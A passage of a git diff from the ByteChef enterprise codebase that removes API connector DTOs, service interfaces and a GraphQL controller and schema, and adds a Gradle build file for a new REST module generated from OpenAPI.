-    String baseUrl,
-    List<EndpointDefinitionDTO> endpoints) {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ParameterDefinitionDTO.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ParameterDefinitionDTO.java
deleted file mode 100644
index ff80737bcc1..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ParameterDefinitionDTO.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.dto;
-
-/**
- * DTO for API parameter definition.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public record ParameterDefinitionDTO(
-    String name,
-    String in,
-    String type,
-    String description,
-    Boolean required,
-    String example) {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/RequestBodyDefinitionDTO.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/RequestBodyDefinitionDTO.java
deleted file mode 100644
index 8d5ed8a13f6..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/RequestBodyDefinitionDTO.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.dto;
-
-/**
- * DTO for API request body definition.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public record RequestBodyDefinitionDTO(
-    String contentType,
-    String description,
-    Boolean required,
-    String schema) {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ResponseDefinitionDTO.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ResponseDefinitionDTO.java
deleted file mode 100644
index 4ee4c1894b2..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/ResponseDefinitionDTO.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.dto;
-
-/**
- * DTO for API response definition.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public record ResponseDefinitionDTO(
-    String statusCode,
-    String description,
-    String contentType,
-    String schema) {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacade.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacade.java
index 9fd92f1a220..bc2c7a4256c 100644
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacade.java
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/facade/ApiConnectorFacade.java
@@ -18,9 +18,7 @@
  */
 public interface ApiConnectorFacade {
 
-    ApiConnector generateFromDocumentation(String componentName, String documentationUrl);
+    ApiConnector importOpenApiSpecification(String componentName, String specification);
 
     List<ApiConnectorDTO> getApiConnectors();
-
-    ApiConnector importOpenApiSpecification(String componentName, String specification);
 }
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiService.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiService.java
deleted file mode 100644
index 1e300a0260c..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorAiService.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-/**
- * Service for generating OpenAPI specifications from API documentation using AI.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public interface ApiConnectorAiService {
-
-    /**
-     * Generates an OpenAPI specification from API documentation URL.
-     *
-     * @param documentationUrl the URL to the API documentation
-     * @return the generated OpenAPI specification in YAML format
-     */
-    String generateOpenApiSpecification(String documentationUrl);
-
-    /**
-     * Asynchronously generates an OpenAPI specification from API documentation URL.
-     *
-     * @param jobId            the job ID to track progress
-     * @param documentationUrl the URL to the API documentation
-     * @param userPrompt       optional user instructions for endpoint selection
-     */
-    void generateOpenApiSpecificationAsync(String jobId, String documentationUrl, String userPrompt);
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobService.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobService.java
deleted file mode 100644
index d8ed2a25bad..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/ApiConnectorGenerationJobService.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnectorGenerationJob;
-import java.util.Optional;
-
-/**
- * Service for managing API connector generation jobs.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public interface ApiConnectorGenerationJobService {
-
-    /**
-     * Creates a new generation job.
-     *
-     * @param documentationUrl the URL to the API documentation
-     * @return the created job with a unique ID
-     */
-    ApiConnectorGenerationJob create(String documentationUrl);
-
-    /**
-     * Gets a job by ID.
-     *
-     * @param jobId the job ID
-     * @return the job if found
-     */
-    Optional<ApiConnectorGenerationJob> get(String jobId);
-
-    /**
-     * Updates the job status to processing.
-     *
-     * @param jobId the job ID
-     */
-    void markAsProcessing(String jobId);
-
-    /**
-     * Marks the job as completed with the generated specification.
-     *
-     * @param jobId         the job ID
-     * @param specification the generated OpenAPI specification
-     */
-    void markAsCompleted(String jobId, String specification);
-
-    /**
-     * Marks the job as failed with an error message.
-     *
-     * @param jobId        the job ID
-     * @param errorMessage the error message
-     */
-    void markAsFailed(String jobId, String errorMessage);
-
-    /**
-     * Requests cancellation of the job.
-     *
-     * @param jobId the job ID
-     * @return true if the job was found and cancellation was requested
-     */
-    boolean requestCancellation(String jobId);
-
-    /**
-     * Checks if cancellation was requested for the job.
-     *
-     * @param jobId the job ID
-     * @return true if cancellation was requested
-     */
-    boolean isCancellationRequested(String jobId);
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeService.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeService.java
deleted file mode 100644
index bcedebaaf39..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/service/WebScrapeService.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.service;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-
-/**
- * Service for scraping web content from URLs.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public interface WebScrapeService {
-
-    /**
-     * Scrapes content from a single URL.
-     *
-     * @param url the URL to scrape
-     * @return the scraped content as markdown or plain text
-     */
-    ScrapeResult scrape(String url);
-
-    /**
-     * Crawls multiple pages starting from the given URL.
-     *
-     * @param url             the starting URL
-     * @param maxPages        maximum number of pages to crawl
-     * @param includePatterns URL patterns to include in the crawl
-     * @return the combined content from all crawled pages
-     */
-    CrawlResult crawl(String url, int maxPages, List<String> includePatterns);
-
-    /**
-     * Returns the name of the provider (e.g., "firecrawl" or "jsoup").
-     *
-     * @return the provider name
-     */
-    String getProviderName();
-
-    record ScrapeResult(boolean success, String content, String error) {
-
-        public static ScrapeResult success(String content) {
-            return new ScrapeResult(true, content, null);
-        }
-
-        public static ScrapeResult failure(String error) {
-            return new ScrapeResult(false, null, error);
-        }
-    }
-
-    @SuppressFBWarnings("EI")
-    record CrawlResult(boolean success, String content, List<String> crawledUrls, String error) {
-
-        public static CrawlResult success(String content, List<String> crawledUrls) {
-            return new CrawlResult(true, content, crawledUrls, null);
-        }
-
-        public static CrawlResult failure(String error) {
-            return new CrawlResult(false, null, List.of(), error);
-        }
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/build.gradle.kts b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/build.gradle.kts
deleted file mode 100644
index 4b73eb136a6..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/build.gradle.kts
+++ /dev/null
@@ -1,15 +0,0 @@
-dependencies {
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-    implementation(project(":server:libs:platform:platform-api"))
-
-    implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-api"))
-    implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-service"))
-
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/graphql/ApiConnectorGraphQlController.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/graphql/ApiConnectorGraphQlController.java
deleted file mode 100644
index ad01e72a9f1..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/graphql/ApiConnectorGraphQlController.java
+++ /dev/null
@@ -1,289 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.commons.util.CollectionUtils;
-import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnector;
-import com.bytechef.ee.platform.apiconnector.configuration.domain.ApiConnectorGenerationJob;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.ApiConnectorDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.EndpointDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.GenerateSpecificationRequestDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.ParameterDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.RequestBodyDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.dto.ResponseDefinitionDTO;
-import com.bytechef.ee.platform.apiconnector.configuration.exception.ApiConnectorErrorType;
-import com.bytechef.ee.platform.apiconnector.configuration.facade.ApiConnectorFacade;
-import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorAiService;
-import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorGenerationJobService;
-import com.bytechef.ee.platform.apiconnector.configuration.service.ApiConnectorService;
-import com.bytechef.ee.platform.apiconnector.configuration.service.OpenApiSpecificationGenerator;
-import com.bytechef.exception.ConfigurationException;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Optional;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * GraphQL controller for managing API Connectors.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnEEVersion
-@ConditionalOnCoordinator
-public class ApiConnectorGraphQlController {
-
-    private final ApiConnectorAiService apiConnectorAiService;
-    private final ApiConnectorFacade apiConnectorFacade;
-    private final ApiConnectorGenerationJobService apiConnectorGenerationJobService;
-    private final ApiConnectorService apiConnectorService;
-    private final OpenApiSpecificationGenerator openApiSpecificationGenerator;
-
-    @SuppressFBWarnings("EI")
-    public ApiConnectorGraphQlController(
-        Optional<ApiConnectorAiService> apiConnectorAiService, ApiConnectorFacade apiConnectorFacade,
-        ApiConnectorGenerationJobService apiConnectorGenerationJobService, ApiConnectorService apiConnectorService,
-        OpenApiSpecificationGenerator openApiSpecificationGenerator) {
-
-        this.apiConnectorAiService = apiConnectorAiService.orElse(null);
-        this.apiConnectorFacade = apiConnectorFacade;
-        this.apiConnectorGenerationJobService = apiConnectorGenerationJobService;
-        this.apiConnectorService = apiConnectorService;
-        this.openApiSpecificationGenerator = openApiSpecificationGenerator;
-    }
-
-    @QueryMapping
-    public ApiConnector apiConnector(@Argument long id) {
-        return apiConnectorService.getApiConnector(id);
-    }
-
-    @QueryMapping
-    public List<ApiConnectorDTO> apiConnectors() {
-        return apiConnectorFacade.getApiConnectors();
-    }
-
-    @QueryMapping
-    public GenerationJobStatusRecord generationJobStatus(@Argument String jobId) {
-        return apiConnectorGenerationJobService.get(jobId)
-            .map(this::toGenerationJobStatusRecord)
-            .orElse(null);
-    }
-
-    @MutationMapping
-    public ApiConnector createApiConnector(@Argument CreateApiConnectorInput input) {
-        ApiConnector apiConnector = new ApiConnector();
-
-        apiConnector.setName(input.name());
-        apiConnector.setTitle(input.title());
-        apiConnector.setDescription(input.description());
-        apiConnector.setIcon(input.icon());
-        apiConnector.setConnectorVersion(input.connectorVersion());
-
-        return apiConnectorService.create(apiConnector);
-    }
-
-    @MutationMapping
-    public boolean deleteApiConnector(@Argument long id) {
-        apiConnectorService.delete(id);
-
-        return true;
-    }
-
-    @MutationMapping
-    public boolean enableApiConnector(@Argument long id, @Argument boolean enable) {
-        apiConnectorService.enableApiConnector(id, enable);
-
-        return true;
-    }
-
-    @MutationMapping
-    public ApiConnector updateApiConnector(@Argument long id, @Argument UpdateApiConnectorInput input) {
-        ApiConnector apiConnector = apiConnectorService.getApiConnector(id);
-
-        if (input.name() != null) {
-            apiConnector.setName(input.name());
-        }
-
-        if (input.title() != null) {
-            apiConnector.setTitle(input.title());
-        }
-
-        if (input.description() != null) {
-            apiConnector.setDescription(input.description());
-        }
-
-        if (input.icon() != null) {
-            apiConnector.setIcon(input.icon());
-        }
-
-        if (input.connectorVersion() != null) {
-            apiConnector.setConnectorVersion(input.connectorVersion()
-                .intValue());
-        }
-
-        return apiConnectorService.update(apiConnector);
-    }
-
-    @MutationMapping
-    public ApiConnector importOpenApiSpecification(@Argument ImportOpenApiSpecificationInput input) {
-        return apiConnectorFacade.importOpenApiSpecification(input.name(), input.specification());
-    }
-
-    @MutationMapping
-    public GenerateSpecificationResponseRecord generateSpecification(@Argument GenerateSpecificationInput input) {
-        GenerateSpecificationRequestDTO requestDTO = toDTO(input);
-
-        String specification = openApiSpecificationGenerator.generate(requestDTO);
-
-        return new GenerateSpecificationResponseRecord(specification);
-    }
-
-    @MutationMapping
-    public ApiConnector generateFromDocumentation(@Argument GenerateFromDocumentationInput input) {
-        return apiConnectorFacade.generateFromDocumentation(input.name(), input.documentationUrl());
-    }
-
-    @MutationMapping
-    public GenerationJobStatusRecord startGenerateFromDocumentationPreview(
-        @Argument GenerateFromDocumentationInput input) {
-
-        if (apiConnectorAiService == null) {
-            throw new ConfigurationException(
-                "AI service is not configured. Please configure bytechef.ai.copilot settings.",
-                ApiConnectorErrorType.INVALID_API_CONNECTOR_DEFINITION);
-        }
-
-        ApiConnectorGenerationJob job = apiConnectorGenerationJobService.create(input.documentationUrl());
-
-        apiConnectorAiService.generateOpenApiSpecificationAsync(job.getId(), input.documentationUrl(),
-            input.userPrompt());
-
-        return toGenerationJobStatusRecord(job);
-    }
-
-    @MutationMapping
-    public boolean cancelGenerationJob(@Argument String jobId) {
-        return apiConnectorGenerationJobService.requestCancellation(jobId);
-    }
-
-    private GenerationJobStatusRecord toGenerationJobStatusRecord(ApiConnectorGenerationJob job) {
-        return new GenerationJobStatusRecord(
-            job.getId(),
-            job.getStatus()
-                .name(),
-            job.getSpecification(),
-            job.getErrorMessage());
-    }
-
-    private GenerateSpecificationRequestDTO toDTO(GenerateSpecificationInput input) {
-        List<EndpointDefinitionDTO> endpoints = CollectionUtils.map(input.endpoints(), this::toDTO);
-
-        return new GenerateSpecificationRequestDTO(input.name(), input.baseUrl(), endpoints);
-    }
-
-    private EndpointDefinitionDTO toDTO(EndpointDefinitionInput input) {
-        List<ParameterDefinitionDTO> parameters = CollectionUtils.map(input.parameters(), this::toDTO);
-        RequestBodyDefinitionDTO requestBody = input.requestBody() != null ? toDTO(input.requestBody()) : null;
-        List<ResponseDefinitionDTO> responses = CollectionUtils.map(input.responses(), this::toDTO);
-
-        return new EndpointDefinitionDTO(
-            input.path(),
-            input.httpMethod(),
-            input.operationId(),
-            input.summary(),
-            input.description(),
-            parameters,
-            requestBody,
-            responses);
-    }
-
-    private ParameterDefinitionDTO toDTO(ParameterDefinitionInput input) {
-        return new ParameterDefinitionDTO(
-            input.name(),
-            input.location(),
-            input.type(),
-            input.description(),
-            input.required(),
-            input.example());
-    }
-
-    private RequestBodyDefinitionDTO toDTO(RequestBodyDefinitionInput input) {
-        return new RequestBodyDefinitionDTO(
-            input.contentType(),
-            input.description(),
-            input.required(),
-            input.schema());
-    }
-
-    private ResponseDefinitionDTO toDTO(ResponseDefinitionInput input) {
-        return new ResponseDefinitionDTO(
-            input.statusCode(),
-            input.description(),
-            input.contentType(),
-            input.schema());
-    }
-
-    @SuppressFBWarnings("EI")
-    public record CreateApiConnectorInput(
-        String name, String title, String description, String icon, int connectorVersion) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record UpdateApiConnectorInput(
-        String name, String title, String description, String icon, Integer connectorVersion) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record ImportOpenApiSpecificationInput(String name, String icon, String specification) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record GenerateFromDocumentationInput(String name, String documentationUrl, String icon, String userPrompt) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record GenerateSpecificationInput(String name, String baseUrl, List<EndpointDefinitionInput> endpoints) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record EndpointDefinitionInput(
-        String path, String httpMethod, String operationId, String summary, String description,
-        List<ParameterDefinitionInput> parameters, RequestBodyDefinitionInput requestBody,
-        List<ResponseDefinitionInput> responses) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record ParameterDefinitionInput(
-        String name, String location, String type, String description, Boolean required, String example) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record RequestBodyDefinitionInput(
-        String contentType, String description, Boolean required, String schema) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record ResponseDefinitionInput(String statusCode, String description, String contentType, String schema) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record GenerateSpecificationResponseRecord(String specification) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record GenerationJobStatusRecord(
-        String jobId, String status, String specification, String errorMessage) {
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/resources/graphql/api-connector.graphqls b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/resources/graphql/api-connector.graphqls
deleted file mode 100644
index 7879e74f3fc..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-graphql/src/main/resources/graphql/api-connector.graphqls
+++ /dev/null
@@ -1,196 +0,0 @@
-extend type Query {
-    apiConnector(id: ID!): ApiConnector
-    apiConnectors: [ApiConnector!]!
-    endpointDiscoveryStatus(jobId: String!): EndpointDiscoveryResult
-    generationJobStatus(jobId: String!): GenerationJobStatus
-}
-
-extend type Mutation {
-    createApiConnector(input: CreateApiConnectorInput!): ApiConnector!
-    deleteApiConnector(id: ID!): Boolean!
-    enableApiConnector(id: ID!, enable: Boolean!): Boolean!
-    updateApiConnector(id: ID!, input: UpdateApiConnectorInput!): ApiConnector!
-    importOpenApiSpecification(input: ImportOpenApiSpecificationInput!): ApiConnector!
-    generateSpecification(input: GenerateSpecificationInput!): GenerateSpecificationResponse!
-    generateFromDocumentation(input: GenerateFromDocumentationInput!): ApiConnector!
-    startDiscoverEndpoints(input: DiscoverEndpointsInput!): EndpointDiscoveryResult!
-    startGenerateForEndpoints(input: GenerateForEndpointsInput!): GenerationJobStatus!
-    startGenerateFromDocumentationPreview(input: GenerateFromDocumentationInput!): GenerationJobStatus!
-    cancelGenerationJob(jobId: String!): Boolean!
-}
-
-type ApiConnector {
-    id: ID!
-    name: String!
-    title: String
-    description: String
-    icon: String
-    connectorVersion: Int!
-    enabled: Boolean
-    specification: String
-    definition: String
-    endpoints: [ApiConnectorEndpoint!]
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    version: Int
-}
-
-type ApiConnectorEndpoint {
-    id: ID!
-    name: String!
-    description: String
-    path: String
-    httpMethod: HttpMethod
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    lastExecutionDate: Long
-    version: Int
-}
-
-enum HttpMethod {
-    DELETE
-    GET
-    POST
-    PUT
-    PATCH
-}
-
-type GenerationJobStatus {
-    jobId: String!
-    status: GenerationJobStatusEnum!
-    specification: String
-    errorMessage: String
-}
-
-enum GenerationJobStatusEnum {
-    PENDING
-    PROCESSING
-    COMPLETED
-    FAILED
-    CANCELLED
-}
-
-type GenerateSpecificationResponse {
-    specification: String
-}
-
-type DiscoveredEndpoint {
-    id: ID!
-    path: String!
-    method: String!
-    summary: String
-    resource: String
-}
-
-type EndpointDiscoveryResult {
-    jobId: String!
-    status: GenerationJobStatusEnum!
-    endpoints: [DiscoveredEndpoint!]
-    errorMessage: String
-}
-
-input CreateApiConnectorInput {
-    name: String!
-    title: String
-    description: String
-    icon: String
-    connectorVersion: Int!
-}
-
-input UpdateApiConnectorInput {
-    name: String
-    title: String
-    description: String
-    icon: String
-    connectorVersion: Int
-}
-
-input ImportOpenApiSpecificationInput {
-    name: String!
-    icon: String
-    specification: String!
-}
-
-input GenerateFromDocumentationInput {
-    name: String!
-    documentationUrl: String!
-    icon: String
-    userPrompt: String
-}
-
-input DiscoverEndpointsInput {
-    name: String!
-    documentationUrl: String!
-    userPrompt: String
-}
-
-input GenerateForEndpointsInput {
-    name: String!
-    documentationUrl: String!
-    icon: String
-    selectedEndpoints: [SelectedEndpointInput!]!
-}
-
-input SelectedEndpointInput {
-    path: String!
-    method: String!
-}
-
-input GenerateSpecificationInput {
-    name: String!
-    baseUrl: String
-    endpoints: [EndpointDefinitionInput!]!
-}
-
-input EndpointDefinitionInput {
-    path: String!
-    httpMethod: HttpMethod!
-    operationId: String!
-    summary: String
-    description: String
-    parameters: [ParameterDefinitionInput!]
-    requestBody: RequestBodyDefinitionInput
-    responses: [ResponseDefinitionInput!]
-}
-
-input ParameterDefinitionInput {
-    name: String!
-    location: ParameterLocation!
-    type: ParameterType!
-    description: String
-    required: Boolean
-    example: String
-}
-
-enum ParameterLocation {
-    QUERY
-    PATH
-    HEADER
-}
-
-enum ParameterType {
-    STRING
-    NUMBER
-    INTEGER
-    BOOLEAN
-    ARRAY
-    OBJECT
-}
-
-input RequestBodyDefinitionInput {
-    contentType: String!
-    description: String
-    required: Boolean
-    schema: String!
-}
-
-input ResponseDefinitionInput {
-    statusCode: String!
-    description: String!
-    contentType: String
-    schema: String
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/build.gradle.kts b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/build.gradle.kts
new file mode 100644
index 00000000000..b98945b71cb
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/build.gradle.kts
@@ -0,0 +1,64 @@
+plugins {
+    alias(libs.plugins.org.openapi.generator)
+}
+
+val generateOpenAPISpring by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
+    apiPackage.set("com.bytechef.ee.platform.apiconnector.configuration.web.rest")
+    configOptions.set(
+        mapOf(
+            "interfaceOnly" to "true",
+            "useSpringBoot3" to "true",
+            "useTags" to "true"
+        )
+    )
+    generatorName.set("spring")
+    inputSpec.set( "$projectDir/openapi.yaml")
+    modelNameSuffix.set("Model")
+    modelPackage.set("com.bytechef.ee.platform.apiconnector.configuration.web.rest.model")
+    outputDir.set("$projectDir/generated")
+    schemaMappings.set(
+        mapOf(
+            "Page" to "org.springframework.data.domain.Page",
+        )
+    )
+}
+
+sourceSets.main.get().java.srcDir("$projectDir/generated/src/main/java")
+
+val generateOpenAPITypeScriptFetch by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
+    generatorName.set("typescript-fetch")
+    inputSpec.set("$projectDir/openapi.yaml")
+    outputDir.set("$rootDir/client/src/ee/shared/middleware/platform/api-connector")
+}
+
+tasks.register("generateOpenAPI") {
+    dependsOn(generateOpenAPISpring, generateOpenAPITypeScriptFetch)
+}
+
+dependencies {
+    annotationProcessor(libs.org.mapstruct.mapstruct.processor)
+    annotationProcessor(libs.org.mapstruct.extensions.spring.mapstruct.spring.extensions)
+
+    compileOnly("jakarta.servlet:jakarta.servlet-api")
+
+    implementation("org.apache.commons:commons-lang3")
+    implementation(libs.io.swagger.core.v3.swagger.annotations)
+    implementation("jakarta.annotation:jakarta.annotation-api")
+    implementation("jakarta.validation:jakarta.validation-api")
+    implementation(libs.org.mapstruct)
+    implementation(libs.org.mapstruct.extensions.spring.mapstruct.spring.annotations)
+    implementation("org.slf4j:slf4j-api")
+    implementation("org.springframework:spring-context")
+    implementation("org.springframework:spring-web")
+    implementation("org.springframework.boot:spring-boot-autoconfigure")
+    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
+    implementation(project(":server:libs:core:commons:commons-util"))
+    implementation(project(":server:libs:core:rest:rest-api"))
+    implementation(project(":server:libs:platform:platform-api"))
+
+    implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-api"))
+
+    testImplementation("org.springframework:spring-webflux")
+    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
+    testImplementation(project(":server:libs:test:test-int-support"))
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator-ignore b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator-ignore
new file mode 100644
index 00000000000..7484ee590a3
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/.openapi-generator-ignore
@@ -0,0 +1,23 @@
+# OpenAPI Generator Ignore
+# Generated by openapi-generator https://github.com/openapitools/openapi-generator
+
+# Use this file to prevent files from being overwritten by the generator.
+# The patterns follow closely to .gitignore or .dockerignore.
+
